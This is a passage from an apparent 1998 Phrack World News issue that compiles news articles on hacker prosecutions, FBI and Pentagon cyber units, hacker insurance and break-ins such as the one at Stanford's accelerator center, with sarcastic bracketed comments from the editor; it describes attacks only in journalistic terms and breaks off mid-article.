can always subscribe to ISN by mailing majordomo@repsec.com with 'subscribe
isn' in the body of your mail. 

The following articles have been accumulated from a wide variety of places.
When known, original source/author/date has been included.  If the information
is absent, then it wasn't sent to us. 

As usual, I am putting some of my own comments in brackets to help readers
realize a few things left out of the articles.  Comments are my own, and
do not necessarily represent the views of Phrack, journalists, government
spooks, my cat, or anyone else.  If you want to see more serious comments
about the piss poor journalism plagueing us today, visit the Security
Scene Errata web page: http://www.attrition.org/errata/

If you feel the need to send me love letters, please cc: 
route@infonexus.com so he can see I really do have fans.  If you would like
to mail my cat, don't, he hates you because you are a plebian in his eyes.
Meow. 

This installment of PWN is dedicated to Feds, Hackers, and blatant stupidity.
It was brought to you by the letters that collectively spell 'dumb shit'. 

- disorder

--------[  Issue 54

 0x1: Teen Crackers Admit Guilt
 0x2: FBI grads get gun, badge, and now, a laptop
 0x3: Meet the Hacker Trackers
 0x4: Justice Department to Hire Computer Hackers
 0x5: A Cracker-Proofing Guarantee
 0x6: First-Ever Insurance Against Hackers
 0x7: New Unit to Combat High-Tech Crime (National Police Agency)
 0x8: First 'Cyber Warrior' Unit is Poised for Operational Status (DOD)
 0x9: Tracking Global Cybercrime (Chamber of Commerce)
 0xa: FBI Opens High-Tech Crisis Center 
 0xb: Navy fights new hack method
 0xc: Pentagon Blocks DoS Attack
 0xd: Hackers Elude Accelerator Center Staff
 0xe: Cyberattacks leave feds chasing 'vapor'
 0xf: Congress Attacks Cyber Defense Funds
 0x10: Mudge on Security Vendors
 0x11: More delays for Mitnick trial
 0x12: 'Back door' doesn't get very far 
 0x13: ICSA Goon Pretends to be a Hacker      
 0x14: Is Your kid a Hacker
 0x15: Paging Network Hijacked              
 0x16: FBI busts hacker who sold clandestine accounts on PageNet system
 0x17: EFF DES Cracker Machine Brings Honesty to Crypto Debate
 0x18: Hacking site gets hacked
 0x19: From Criminals to Web Crawlers
 0x1a: Running a Microsoft OS on a Network? Our Condolences
 0x1b: Security expert explains New York Times site break in
 0x1c: Merriam-Webster Taken Offline Old Fashioned Way
 0x1d: Long Haired Hacker Works Magic           
 0x1e: Body of Evidence
 0x1f: The Golden Age of Hacktivism
 0x20: Phrack straddles the world of hackers
 0x21: Cops see little hope in controlling computer crime

0x1>-------------------------------------------------------------------------

Title: Teen Crackers Admit Guilt
Source: Wired
Date: 1:10pm  11.Jun.98.PDT

Two California teenagers have pleaded guilty to federal charges of
cracking Pentagon computers, the San Francisco Chronicle reports. 
   
Terms of the plea are still being negotiated after a meeting last week
between attorneys for the youths and federal officials, the newspaper
said. Neither youth is expected to serve time in custody, sources close to
the case said. 
   
In February, the FBI raided the Cloverdale homes of the two suspected
crackers -- nicknamed Makaveli, 16, and TooShort, 15 -- and seized
computers believed to have been used to break into unclassified computer
systems in government agencies, military bases, and universities. 

[Sucks to be busted. Sucks worse to plead guilty to being a script
 kiddie.]

The youths were never formally arrested in the FBI probe. US Deputy
Defense Secretary John Hamre called the breach "the most organized and
systematic attack" to date on Pentagon systems. 
  
[Feds only enjoy sticking guns in the faces of these kids. Not actually
 arresting them.]

0x2>-------------------------------------------------------------------------

Title: FBI grads get gun, badge, and now, a laptop
Source: TechWeb
Date: 7.22.98

When FBI special-agent trainees graduate from the bureau academy at
Quantico, Va., they are each issued a gun, a badge -- and now, a laptop
computer. 

[Unfortunately, they don't always get a clue.]

Crime today often involves the use of sophisticated technology, and new
agents have to be able to shoot straight, learn the law, and be able to
use technology.

Part of the FBI's duty is to investigate computer-related crimes and
issues of national security. Because it needs these specialized skills,
the bureau is in competition with other agencies such as the Secret
Service and the Central Intelligence Agency (CIA) -- as well as the
private sector -- for recruits.

[Great low pay! Lots of travel! No respect! Come join the FBI!]

Attorney General Janet Reno, addressing a conference on children's safety
on the Internet in December, called on the technology community to help
law enforcement.

But Reno's call does not mean making a computer geek into a G-man.  The
FBI recruits in the high-tech industry and in colleges and universities
for special agents with other attributes besides computer-science degrees.
 
"There is not a specific category [in the FBI] for someone with more
computer skills," said Special Agent Ron Van Vraken, an FBI spokesman. 
"But someone with skills and experience is highly marketable. We've
recognized we need to attract those people into the FBI."
 
The FBI is not alone. 

The CIA has a long listing of Web postings for technology-related jobs. 
There are ongoing requirements for knowledge-based systems engineers,
software developers, and electronics engineers listed alongside jobs such
as theatrical-effects specialists and clandestine service trainees.

[Yet the CIA is scrambling to find jobs for all the cold-war spook
 rejects...]

Although the CIA is not a law-enforcement agency like the FBI and the
Secret Service, it, too, chases "bad guys" and needs people trained in
technology, said Anya Guilsher, an agency spokeswoman. "We have a great
interest in people with advanced technology skills," she said.
 
The Secret Service, which investigates financially related crimes as well
as protects the president, is also looking. Its jobs listings include
openings for computer specialists and telecommunications specialists.

The ideal candidate for these agencies is not necessarily a computer wiz,
said Ron Williams, a former Secret Service agent and current CEO of
high-tech security company Talon Technology.

"The ideal candidate is well-rounded," he said, adding they should also
understand computers, have good communications skills, and know human
behavior.

"To catch a criminal, you have to think like one," Williams said. "You can
take agents, and if they have good street smarts and good computer skills,
you can make them into hacker sleuths."

[Hypothetically.. since they haven't done it yet.]

0x3>-------------------------------------------------------------------------

Title: Meet the Hacker Trackers 

A gang of convicts dressed in cartoon-striped uniforms shuffle slowly
along a sidewalk, searing in the noon-day sun. This is downtown Phoenix, a
low-rise high-tech city with a decidedly old- fashioned approach to crime. 
From her office on the sixth floor of the county attorney's office, the
prosecutor remains unmoved by the sight of the prisoners. "People 'round
here don't have much in the way of sympathy for criminals of any kind. And
most of those guys are real criminals, not jumped up nobodies screaming
for attention - the kind of people I deal with!" 

Meet Gail Thackeray, the world's foremost legal expert on computer crime. 
A former assistant attorney general of the state of Arizona, Thackeray has
been fighting hackers and fraudsters for nearly 25 years. Now she works as
a prosecutor for the Maricopa County attorney's office, a jurisdiction the
size of New England that takes in all of Phoenix. It's most famous as the
home of Sheriff Joe Arpaio, "the meanest sheriff in America". This is the
man responsible for the convicts in stripes. He has made his reputation by
toughening up prison conditions, to loud hollers of approval from
freedom-loving Arizonans.

Good citizens of Maricopa County can now walk the streets in safety, but
for the big technology companies that have moved to the "valley of the
sun", the unseen hand of hackers and computer phreaks is proving a major
distraction. Whether it's a left-over hippy feeling, the University campus
or just a reaction to the extreme heat, Phoenix is a top spot for computer
criminals. Thackeray is there to stop them. 

Arizona has perhaps the United States' strongest legal code against the
activities of hackers, but sometimes Gail aches to fight fire with fire. 
"We have to document every step of the way we investigate. They don't need
to have our education. They just need one other crook showing them, like
monkeys at a keyboard, how to imitate the crime. The bulletin boards were
the precursors to this, but the Net has exploded it down to the individual
level anywhere in the world. You don't need sophistication, you don't even
need very good equipment - one of the best hackers we've ever dealt with
had a Compaq luggable 286 and he was wreaking havoc around the world. Just
a list of his route on different systems attached to the Internet would
keep me in the hacker business for the rest of my life - it goes on for
pages." 

Getting away with it

We move from her office to the conference room next door. Thackeray
proudly displays her new Compaq notebook. Her famous slide show is now
held on the notebook's hard disk. For more years than she'd care to
remember, Thackeray has been showing her slides to police forces and
prosecutors across the United States, advising them how to build a case
against hackers. She also trains police forces all over the country,
including secret service agents at the Georgia Federal training centre.
Even the bad guys have been known to call her to find out what the cops
have been up to. 
 
Although she has been a hacker tracker for 25 years, Thackeray is more
depressed than ever by the escalating scale of computer crime. The Web,
she says, has made it impossible to catch the crooks. "Even if it's the
boy next door, we haven't a chance. He may be doing something rotten to
your high-tech consulting firm, he may be next door trying to steal your
stuff - but he's looping through a long-distance carrier, a corporate
phone system, three Internet providers and circling the world twice before
he hits you. That's the problem from our standpoint. Even assuming all
those parties can trace the links they're involved in, we have to go
through a different process, and probably a different law enforcement
agency, for every single one.

"In the old days out here, the Texas rangers were very famous for catching
bank robbers. They didn't stop at the Texas border when chasing a killer. 
They'd jump on their horse and, even if they crossed the state line, they
would follow wherever the chase lead them. In the computer age we can't do
that at all. What we have now in the US is a mish-mash of laws and
agencies. Multiply that on the international level and it's completely out
of hand." 

High-tech law enforcement

Thackeray moved to Arizona in 1986 after beginning her career as a
prosecutor in Philadelphia. She worked in the attorney general's office
running an organised crime and racketeering unit that won a national
reputation for its technical ability in the fight against hackers. She was
also the mastermind behind Operation Sundevil (see panel, overleaf), the
first nationally coordinated raid on hackers. But then democracy took a
turn and she became a victim of the strange process by which Americans
elect their most senior law officers. Her boss lost the race to be elected
attorney general. The victor wasn't interested in technology so 12 people
got sacked, including Thackeray. 

Taking a break from the slide show for a moment, she shows me a little
number-generating program stored on her laptop. It generates random
numbers for Visa cards. Give it the four-digit code that identifies a card
issuer and within minutes you'll have hundreds of false credit card
numbers to play with. "Now supposing you had another little program that
made the bank think these numbers were legitimate - How much do you think
you could make?" We go on-line to see some of the hacker sites. Thackeray
believes that the Web is making a bigger range of crimes much easier to
commit. "In the future the good parts of the Internet will be bigger and
more complex and available to more people and that's great. But this means
all of those people will have victim potential. Thanks to the growth of
the Web, one criminal can now do an unprecedented amount of damage,
whether it's to corporations or to individual's feelings by threatening
and stalking, spam attacks or just shutting down ISPs. 

"We have had four incidents in the first six months of this year.  These
people are attacking not just the little local service provider, but also
some of the 19 Internet backbone carriers. They're absolutely ruthless and
don't care who they hurt. In a case in Tucson, tens of thousands of users
were shut down just because some person with an adolescent level of
maturity decided he was mad at another ISP, so he took all of its
customers off-line. It's frighteningly easy to do and only took one
broadcast message. All the routers that run the Internet shake hands
periodically, so if you can infect one router, given time it will infect
the entire world. And that's what happened. It took just a few days for
the entire world to believe that this service provider, and all its
customers, didn't exist."  Not only is the Web host to a whole new range
of crimes, it's also home to a brand new band of weirdos. "Unfortunately
the Web is the best playground ever invented for sociopaths. They can
hide, are anonymous and can't be traced. Nobody is in charge and it gives
them that power rush that psychologists say is what they live off. It's
their whole life's breath. It's the chest-beating power surge of being
able to do it and get away with it. We are just seeing more acts of wanton
destruction simply for the sake of showing that you can do it." 

Does she think this new generation of Web hackers is a real threat to
people? "Every baby in America knows the 911 emergency system. If mommy's
drowning in the pool, we've had three-year- olds save her life by dialling
911. The hackers have attacked the 911 system and they're still doing it. 
That's not for knowledge or for glory, that's just an act of vicious ego." 

Rat's nests and technocrap

Personal liberty is taken very seriously in the western United States. 
No-one likes the idea of "big government" interfering with people's lives. 
Even hackers gain sympathy when they complain of harassment by police and
prosecutors. Some say they've been victimised by the authorities. 

Thackeray denies this. "It's a hacker myth that we take away their
computers and sit on them forever. In one case we came across, the guy had
over 12Gb of data stored on his system - that's equivalent to 15,000
paperback books. It's better that we seize all that material - you might
have love letters, cook book recipes and your extortion kidnapping letter
on the same disk. We can't take one without taking the other. We cannot
physically copy that volume. It is far easier for us to take computers
away than for us to camp out in your house for six months." 

A hovel of a bedroom fills the projector screen. Coke cans everywhere,
rubbish dotted across an unmade bed. In the corner sits a naked computer,
stripped of casing, wires exposed. Thackeray calls it a rat's nest. She
has hundreds of similar photos. "Back in Philadelphia I began collecting
pictures of computers with their wires hanging out. When the geeks speak
to a jury we call the language they use technocrap. What you have here is
the physical version of technocrap." She gestures at the screen. Typically
hackers will set up a stereo system within easy reach of the computer, and
often a drinks cabinet as well. 

A recent innovation is the home network. "We've come up against four or
five houses recently where people have had multiple systems networked in
the house. And that's even without running a bulletin board. When we get
lucky and we're fast enough we can find the guilty computer - but the
hardest part of the job is finding the brain behind the computer. To find
that person is good old- fashioned low-tech police work." 

Thackeray's team face another new problem caused by the huge increase in
storage capacity. "In the computer situation no one throws anything out. 
That makes our life more difficult. We don't want to read the last five
year's worth of your e-mail, life's too short and frankly it's not that
interesting. But sometimes we're searching for one piece of evidence and
it's buried in a huge volume of stuff so what else can we do?"

Tracking or trailing? 

The slide show draws to an end. We amble downstairs to the office of
another investigator. He shows us an array of hacker memorabilia on his
computer. I ask Gail about the future. She believes that unless there's a
fundamental change in the way police forces treat computer crime, there is
no hope at all. "The police departments and prosecutors around the country
are, frankly, paramilitary organisations with very bureaucratic, layered
decision- making processes. They see the need for more training in gangs; 
they don't see the need for more training in computers because the
management came out of the knife and gun club. 

"Police management is dominated by the physical crimes people.  We've got
to dissolve some of these barriers. When we move we need to move fast like
the Texas rangers - both legally and bureaucratically we're just not there
yet. When I started 20 years ago law enforcement was behind the computer
crime wave. We're farther behind today than we were then."

Matt McGrath is an investigative journalist who works for Radio 5. 

0x4>-------------------------------------------------------------------------

Title: Justice Department to Hire Computer Hackers
Source: Business Week
Date: Aug. 6, 1998

Wanted: Hackers to break into the Justice Dept. computer network. Under a
program known as Operation Get Cracking, the Justice Dept. sought members
of the computer underground at late July's Def Con hackers' conference in
Las Vegas, BUSINESS WEEK reports in its August 17 issue. Attorney General
Janet Reno has quietly committed $1 million to hire up to 16 hackers to
test the Department's networks, says a source at Justice, which would
neither confirm nor deny the operation. 

[Uh... huh... I won't go there.]

0x5>-------------------------------------------------------------------------

Title: A Cracker-Proofing Guarantee
Source: Wired News Report
Date: 9:05 a.m.  5.Oct.98.PDT

CIGNA Secure Systems Insurance is offering a US$25 million liability
policy designed to cover losses resulting from attacks by computer
crackers, the company said Monday.

To qualify for coverage, a client must secure its systems or pass
inspection from a CIGNA-approved security-management company. Otherwise,
potential clients are encouraged to contract with security-management
company NetSolve, in conjunction with Cisco's NetRanger
intrusion-detection software, which is pre-approved by CIGNA.

CIGNA Secure Systems Insurance provides coverage for theft of money,
securities, and property; for damage done by crackers to a firm's data or
software; and for business losses caused by attacks on a company's
computer systems. 

[And how do they put value on your information? Who audits the system
 to make sure you are telling the truth about your policy?]

A recent survey by the Computer Security Institute and the FBI found a 36
percent increase from the previous year in losses stemming from
computer-security breaches. However, traditional property and liability
insurance policies do not address these risks, according to CIGNA.

"It's a nice marketing ploy," said computer security consultant Pete
Shiply. "But if someone is concentrating on breaking into a site,
eventually they will get in. There is no such thing as a secure site; 
security is economics, it's a question of money and how much you want to
invest." 

Asked what kind of intrusion might lead to a $25 million claim, Shiply was
skeptical. 

"While I haven't read the agreements, I am pretty sure you would not get
that much,"  he said. "You would have to prove losses approaching that
figure, and that will likely be a difficult thing to do."

0x6>-------------------------------------------------------------------------

Title: First-Ever Insurance Against Hackers
Source: Reuters
Date: 14-JUN-98
By: Therese Poletti 

A computer security firm is so certain of its security prowess that it is
offering to protect its customers with the first-ever hacker insurance, in
the event a customer is successfully invaded by hackers.

[So secure, hackers dumped logs of one of the ICSA's machines being
 hacked to several IRC channels. Do as we say, not as we do.]

ICSA Inc., the International Computer Security Association, is now
offering as part of its TruSecure service, insurance against hacker
attacks. ISCA will pay up to $250,000 if a customer's network is hacked
into, after it has followed the TruSecure criteria.

``This is the first hacker-related insurance,'' said Peter Tibbett,
president of the ICSA, based in Carlisle, Penn. ``It puts our money where
our mouth is.''

ICSA sells its TruSecure service for $40,000 a year. The service, which it
has been offering for several years, is a series of steps, methods and
procedures that an ICSA client must adhere to. Some steps are simple,
common sense procedures, such as having the server which hosts your
company's Web site inside a locked room.

[You pay 40,000 a year, for up to 250,000 insurance. Pretty high
 premium. 40,000 will buy you a lot of security consulting and additional
 security precautions.]

Other steps are more complicated, such as the requirement to have a secure
firewall around an internal network.

But the ICSA does not sell products. Instead, it recommends a whole range
of software that it has approved as secure and meets its standards,
through open meetings and debates, with all its members, many of whom
develop security products.

Then, ICSA tests a client's security by using typical hacker methods,
through its 100 or so employees, none of whom are reformed hackers.  ICSA
believes, along with executives at International Business Machines Corp.
who perform ``ethical'' hacking on its customers, that there is no such
thing as a reformed hacker.

``We spray them with hacker tools and see where their vulnerabilities
are,'' Tibbett said, referring to many of the widely-used hacker programs
that are available over the Internet or shared among hackers. ``The
average site took about two weeks to get to the place where they meet all
our requirements.''

After ICSA completes a six-step process to test and improve a company's
security, the customer is deemed secure and will then receive insurance.

The ICSA said it will pay its customers if they fall prey to a hacker,
even if they are not financially harmed from the attack.

``Whether you lose money or not, we will pay,'' Tibbett said. ''We believe
that we reduce the risk dramatically ... Yes, we expect to write some
checks, but we don't expect to write very many.''

Tibbett likens the ICSA to the Center for Disease Control, because it
tracks all hacker attacks and tests every hacker tool and virus its
progammers can find. The ICSA also is known for its emergency response
center, which tracks the fallout from known computer viruses and helps
companies in a crisis.

``Good enough is never going to be perfect,'' Tibbett said. ''But we have
a motivation to improve our service. If we have to write a check when
someone gets hacked, it gives us another emphasis.''

The company said it is partnering with major nationwide insurance carriers
who recognize the ICSA TruSecure certification as a requirement for hacker
policies.

0x7>-------------------------------------------------------------------------

Title: New Unit to Combat High-Tech Crime
By: Yomiuri Shimbun
Date: June 05, 1998

The National Police Agency plans to create a special "cyberpolice" unit to
combat the rise in high-tech crimes involving the Internet and other new
technologies, the agency said Wednesday in announcing its new high-tech
crime program. Information will be exchanged with its investigative
counterparts overseas on a 24-hour-a-day basis, it said. The program will
include special high-tech crime squads at the prefectural level, and
information security advisers at prefectural police stations who will
liaise directly with the private sector, with which the NPA wants to
coordinate its efforts. The agency will also request a budget for a
"hacker-proof" supercomputer next fiscal year.

The NPA recorded 263 high-tech crimes last year-eight times more than in
1992. High-tech crime was on the agenda of the Group of Eight summit
meeting in Britain last month, where the eight leaders agreed to report on
their efforts to combat high-tech crime at the G-8 summit in Cologne,
Germany, next year. The NPA said Japan's current laws are inadequate and
it would push to have new laws enacted to limit access to computers by
those with criminal intent. 

0x8>-------------------------------------------------------------------------

Title: First 'Cyber Warrior' Unit is Poised for Operational Status
By: Bryan Bender
Date: June 17 1998

The US Department of Defense (DoD) plans to stand up its first operational
unit of `cyber warriors' by September to safeguard against and respond to
computer attacks aimed at the US military, according to defence officials. 

The Joint Chiefs of Staff (JCS) is assessing several proposals for a
Computer Defense Joint Task Force and JCS chairman Gen Henry Shelton is
expected to make a recommendation to Defense Secretary William Cohen, who
will have direct authority over the organisation, in the near future. 

The JCS has a computer attack response cell within its directorate of
operations, but it "has not been codified as a warfighting entity," said
JCS spokesman Lt Cdr Jim Brooks. 

The task force, which will conduct defensive rather than offensive
information operations, will have the necessary authority to take action
in the event of information attacks. Officials are determining how the
unit should be structured, where it should be and how much it will cost. 

They say that the new unit will have to have a high level of co-ordination
with other federal agencies, particularly the Federal Bureau of
Investigation, given the constitutional limitations placed on the US armed
forces in the area of law enforcement. 

JCS sources add that the task force is only expected to be an interim
solution to the rising need for a specialised unit to counter incidents of
cyber warfare. A permanent unit, possibly under the authority of one of
the US warfighting commanders-in-chief, is planned for the future. 

The Pentagon has seen a steep rise in computer attacks and other attempts
either to access or contaminate DoD information networks. Art Money, the
DoD's senior civilian overseeing computer operations, said on 10 June that
the Pentagon experiences an average of 60 cyber attacks per week. 

The US Department of Defense (DoD) plans to stand up its first operational
unit of `cyber warriors' by September to safeguard against and respond to
computer attacks aimed at the US military, according to defence officials. 

The Joint Chiefs of Staff (JCS) is assessing several proposals for a
Computer Defense Joint Task Force and JCS chairman Gen Henry Shelton is
expected to make a recommendation to Defense Secretary William Cohen, who
will have direct authority over the organisation, in the near future. 

The JCS has a computer attack response cell within its directorate of
operations, but it "has not been codified as a warfighting entity," said
JCS spokesman Lt Cdr Jim Brooks. 

The task force, which will conduct defensive rather than offensive
information operations, will have the necessary authority to take action
in the event of information attacks. Officials are determining how the
unit should be structured, where it should be and how much it will cost. 

They say that the new unit will have to have a high level of co-ordination
with other federal agencies, particularly the Federal Bureau of
Investigation, given the constitutional limitations placed on the US armed
forces in the area of law enforcement. 

JCS sources add that the task force is only expected to be an interim
solution to the rising need for a specialised unit to counter incidents of
cyber warfare. A permanent unit, possibly under the authority of one of
the US warfighting commanders-in-chief, is planned for the future. 

The Pentagon has seen a steep rise in computer attacks and other attempts
either to access or contaminate DoD information networks. Art Money, the
DoD's senior civilian overseeing computer operations, said on 10 June that
the Pentagon experiences an average of 60 cyber attacks per week. 

0x9>-------------------------------------------------------------------------

Title: Tracking Global Cybercrime
By: Claudia Graziano
Date: 4:00 a.m.  25.Sep.98.PDT

The International Chamber of Commerce said Thursday that it will open a
new division to help companies around the world protect themselves against
cybercrime.

"Basically, any scams you can do terrestrially you can do even easier in
cyberspace," said Eric Ellen, the chamber's executive director, who will
take the reins of the new division.

[Oooh.. 'terrestrially'.. three point word.]

The London-based unit will work with Interpol to fight heavy-duty
technological thievery -- such as money laundering, industrial espionage,
and investment fraud -- as opposed to small-time consumer scams like
selling nonexistent goods online.

Interpol chief Ray Kendall said the international police agency had been
pushing for years for such an alliance with the private sector since it
could move more quickly than governments in purchasing the equipment
needed to investigate high-tech crime.

The cybercrime unit will provide the 7,000 International Chamber of
Commerce members with information about how and where the myriad types of
crimes are committed on the Net and what businesses can do to protect
themselves against crackers and fraud artists.

A Federal Trade Commission official praised the commission's efforts to
raise domestic awareness of Internet fraud. 

"We welcome any international effort to crack down on cyberfraud, because
crime and fraud perpetrated against consumers or businesses only
undermines the electronic marketplace and stifles the great opportunities
available through Internet commerce," said Paul Luehr, an assistant
director at the commission.

The chamber said it hopes to persuade governments, including the United
States, to wipe out restrictions that limit the spread and availability of
strong encryption algorithms.

That position flies in the face of US law enforcement, which currently
limits the export of powerful crypto on the grounds that it might be used
by terrorists.  Meanwhile, US crypto advocates have long said that ciphers
are better suited to fighting crime than hiding it. 

"There will be some lobbying on our part, but many businesses can't wait
for laws,"  Ellen said. "Crimes cross international borders, yet existing
laws [against cybercrime] are national."

The chamber's cybercrime unit will meet regularly with Interpol in Lyon,
France, to exchange information and intelligence on cybercrime and its
perpetrators.

Additionally, the chamber division plans to exchange information with the
FBI's National Infrastructure Protection Center and the FBI's National
Security Awareness unit, which looks after the interests of US businesses.

Headquartered in Paris, the International Chamber of Commerce establishes
rules that govern the conduct of businesses worldwide. The nonprofit group
holds top-level consultative status with the United Nations, where it puts
forward the views of business in countries around the world. 

0xa>-------------------------------------------------------------------------

Title: FBI Opens High-Tech Crisis Center 
By: Michael J. Sniffen
Date: Friday, November 20, 1998; 9:29 a.m. EST

Entering its 91st year with new duties that extend around the world, the
FBI today opened a high-tech, $20 million operations center nearly the
size of a football field to allow headquarters to manage up to five crises
at once.

The new Strategic Information and Operations Center -- called ``sigh-ock''
after its initials -- has 35 separate rooms that can seat up 450 people
total and covers 40,000 square feet on the fifth floor of FBI headquarters
on Pennsylvania Avenue. It is 10 times bigger than its two-decade-old
predecessor that could, with difficulty, handle two crises simultaneously.

Bureau officials became convinced the old SIOC was outmoded in the summer
of 1996 when they tried to manage investigations of the Olympic bombing in
Atlanta, the explosion of TWA 800 and the Khobar Towers truck-bombing in
Saudi Arabia at the same time.

``There weren't enough rooms or enough telephones,'' FBI Director Louis J. 
Freeh said.  ``We had people working at desks in the hallway outside and
reading top secret material in the vending area across the hall.''

The supersecret facility with no windows to the street, or even any
outside walls, has a private ribbon-cutting today with former President
George Bush as the FBI celebrates its 90th birthday.

Introducing the new SIOC to reporters for a one-time-only tour, Freeh said
it was emblematic of the bureau's expanded responsibilities and
technology.

He noted that the bureau's fastest growing component, its Counterterrorism
Center, is arrayed in the offices around the SIOC -- as is its violent
crime unit, which handles domestic attacks such as the Oklahoma City
bombing or hijackings.

Much of the counterterrorism work now extends overseas, to Saudi Arabia
where U.S.  soldiers have been killed in two bombings and East Africa
where two U.S. embassies were bombed, for example. In the last five years,
Freeh said, the FBI has nearly doubled its legal attaches working abroad
-- to 32 cities now. Eight more are to open soon -- in Almaty, Kazakhstan; 
Ankara, Turkey; Brasilia, Brazil; Copenhagen, Denmark; Prague, Czech
Republic; Santo Domingo, Dominican Republic; Singapore and Seoul, Korea.

The computers at desks throughout the center and the 5-by-15-foot video
screens on the walls of almost every room can display not only U.S. 
television broadcasts but also local TV channels from foreign countries. 
The bank of red-lettered digital clocks in each room can display the local
time in five or six locations.

The FBI's new National Infrastructure Protection Center, tasked to prevent
and respond to attacks on government or private computer systems that keep
America running, will have three representatives on each of the 10-member
watch teams that staff the center at all times. Also present around the
clock: a representative of the National Security Agency's Cryptologic
Security Group to provide information from the government's worldwide
electronic eavesdropping. 

Behind a series of blond wood doors, the complex warren of workrooms, many
of which can be combined or divided as need requires, have light gray
carpets, paler gray walls and dark gray metal desks with white plastic
tops. The desks are fixed in place only in two control rooms that manage
the flow of information to each room; elsewhere they are modular and can
be rearranged at will over floor-mounted electric and telephone plugs.
Interior windows allow views into conference rooms or the SIOC's hallways.

Ron Wilcox, deputy chief of the SIOC, said the compartmented areas would
allow bureau agents ``to work in one room with District of Columbia police
on a local kidnapping while another room works on a terrorist bombing with
top secret data.''

Each work station can receive data from three sets of phone and computer
links:  unclassified, secret and top secret-sensitive compartmented
information.

While the center will draw information from around the world, information
will not leave without permission. The center is shielded to prevent
outside detection of electronic emissions, so cell phones do not work
inside it.

In Operations Group D and G, the largest room with capacity for 118
people, there are printers with yard-wide rolls of paper to print out city
maps. So the room will not be overcome with noise, the sound from video
screens is broadcast silently from black boxes around the room to
headphone sets available to each worker. 

The chairs, most on wheels, have arm rests. They are blue-green cloth in
the workrooms;  gray leather in the Executive Briefing Room, the center's
second largest room, with three blond wood semicircles seating 36 and
fixed theater seats at the back for 50 more.

Rather than increasing the burden on field agents to report to Washington,
Wilcox said the new center should reduce such demands, because ``we will
offer one-stop shopping for headquarters. Field agents can report to us,
and we will be responsible for making sure everybody is alerted who should
be.''

0xb>-------------------------------------------------------------------------

Title: Navy fights new hack method
By: Tim Clark
Source: CNET NEWS.COM

Hackers are banding together across the globe to mount low-visibility
attacks in an effort to sneak under the radar of security specialists and
intrusion detection software, a U.S. Navy network security team said
today. 

Coordinated attacks from up to 15 different locations on several
continents have been detected, and Navy experts believe that the attackers
garner information by probing Navy Web sites and then share it among
themselves. 

"These new patterns are really hard to decipher--you need expert forensics
to get the smoking gun," said Stephen Northcutt, head of the Shadow
intrusion detection team at the Naval Surface Warfare Center. "To know
what's really happening will require law enforcement to get hold of the
hackers' code so we can disassemble it." 

The new method involves sending as few as two suspicious probes per hour
to a host computer, a level of interest that usually won't be detected by
standard countermeasures.  But by pooling information learned from those
probes, hackers can garner considerable knowledge about a site.

0xc>-------------------------------------------------------------------------

Title: Pentagon Blocks DoS Attack
Source: Newsbytes via NewsEdge

The Pentagon launched an attack applet of its own this month to thwart a
denial-of-service attack against its DefenseLink Web site at
http://www.defenselink.mil . 

DefenseLink was one of three sites targeted on Sept. 7 by a group that
calls itself the Electronic Disturbance Theater. The group claimed to be
acting in solidarity with Zapatista rebels in the Mexican state of Chiapas
to protest Defense Department funding of the School of the Americas. 

Other target Web sites belonged to Germany's Frankfurt Stock Exchange and
Mexican President Ernesto Zedillo. 

The theater group's Web site referred to the attacks as a virtual sit- in. 
Visitors to the group's site received a hostile Java applet designed to
keep reloading the DefenseLink and other Web sites automatically as long
as the the visitors' browsers were open. 

Multiple simultaneous reload requests can overwhelm a server, but the
attacks apparently had little impact, DOD officials said. 

"Our support staff certainly was aware of the planned attack," Pentagon
spokeswoman Susan Hansen said. "They took preventive measures to thwart
the attack so that DefenseLink was available." 

Hansen would not specify the preventive measures, but the theater group
reported, and a DOD official confirmed, that the Pentagon aimed its own
hostile applet back at the attackers. 

Browsers "got back a message saying the (theater group's) server wasn't
available," Hansen said. 

The Frankfurt exchange reported the reload requests had little or no
impact on its server, either. 

The theater group has promised a second round of attacks, known as
FloodNet, between Sept. 16, Mexican Independence Day, and Oct. 12,
Columbus Day. 

Representatives of security software vendor Finjan Inc. of Santa Clara,
Calif., said the attacks marked the first time Java applets have been used
in a political protest, although the theater group has claimed
participation in other virtual sit-ins against Zedillo and President
Clinton since April. 

The group is a throwback to the 1960s guerrilla theater of the Yippies,
who once hosted an attempt to mentally levitate the Pentagon. The theater
group's Web site at http://www.nyu.edu/projects/wray/ecd.html advocates
electronic civil disobedience. Its attempted Pentagon attack was part of
Swarm, a project launched at the Ars Electronic Festival on InfoWar in
Linz, Austria. 

The group's announced activities, in addition to the unspecified attacks
planned through mid-October, include radio protests against the Federal
Communications Commission on Oct. 4 and 5. 

The Swarm attacks reportedly did not meet with much approval among
hackers, who view FloodNet as an abuse of network resources. 

0xd>-------------------------------------------------------------------------

Title: Hackers Elude Accelerator Center Staff
Source: San Francisco Chronicle
Date: 06/11/98

Officials at Stanford Linear Accelerator Center are rethinking the
openness of their computer system a week after hackers forced them to shut
down outside access to the federal research facility's computer network.

External access to the center's computer system was suspended after staff
members failed to catch hackers who had intercepted a password and were
moving in and out of more than 30 of the facility's Unix servers.

"We traced the hackers around to the point that we weren't gaining on
them," said center spokeswoman P.A. Moore. "The person or persons were
successful in covering their tracks and in getting into and out of
accounts." 

It is still unclear how the hackers got access to a password and the
system, Moore said. 

But as a result of the breach, she said, officials are rethinking the
center's policy of being an open scientific research facility.  She said
proposals are being considered to restrict the center's computer system.

"A number of options are being considered and they range from very mild to
more severe," she said.

Moore said that most of the center's Internet services were restored
Tuesday after security measures were put in place and that staff members
were instructed to change their passwords.

The shutdown did not create any serious problems, although it caused
delays in many projects and denied researchers from all over the world
access to the center's Web site, Moore said.

Established in 1962, the Linear Accelerator Center is funded by the
Department of Energy and operated by Stanford University. With a staff of
about 1,300 and 2,000 researchers worldwide, the center conducts basic
research on atomic and subatomic physics. The center's researchers use
colliders to study matter at the atomic level.  "Mostly, we've lost time
on experiments," Moore said. "We do not see that any data has been
compromised. It's more of a setback than a major disaster."

But she said future break-ins will remain a problem for open scientific
facility. The center does not conduct any classified research, she said.

"Computer hackers are very sophisticated in terms of their knowledge and
ease in traveling through cyberspace," she said. "We're vulnerable. By
being an open facility, we are a target for vandals." Stephen Hansen, a
Stanford University computer security officer, said campus system
break-ins average at least two a month.

A common tool used by hackers is a computer program dubbed "the sniffer," 
which allows intruders to decode data in a system, specifically passwords
and log-on names.

"Sniffers are quite dangerous," Hansen said. "If they are not caught right
away, they can lead to break-ins to thousands of accounts, not just
locally, but across the Internet."

To minimize such break-ins, he said, more system operators are using
encryption programs that prevent hackers from determining sign-on names
and passwords. However, this is not an easy option for the Stanford center
because encryption programs are prohibited in some countries, including
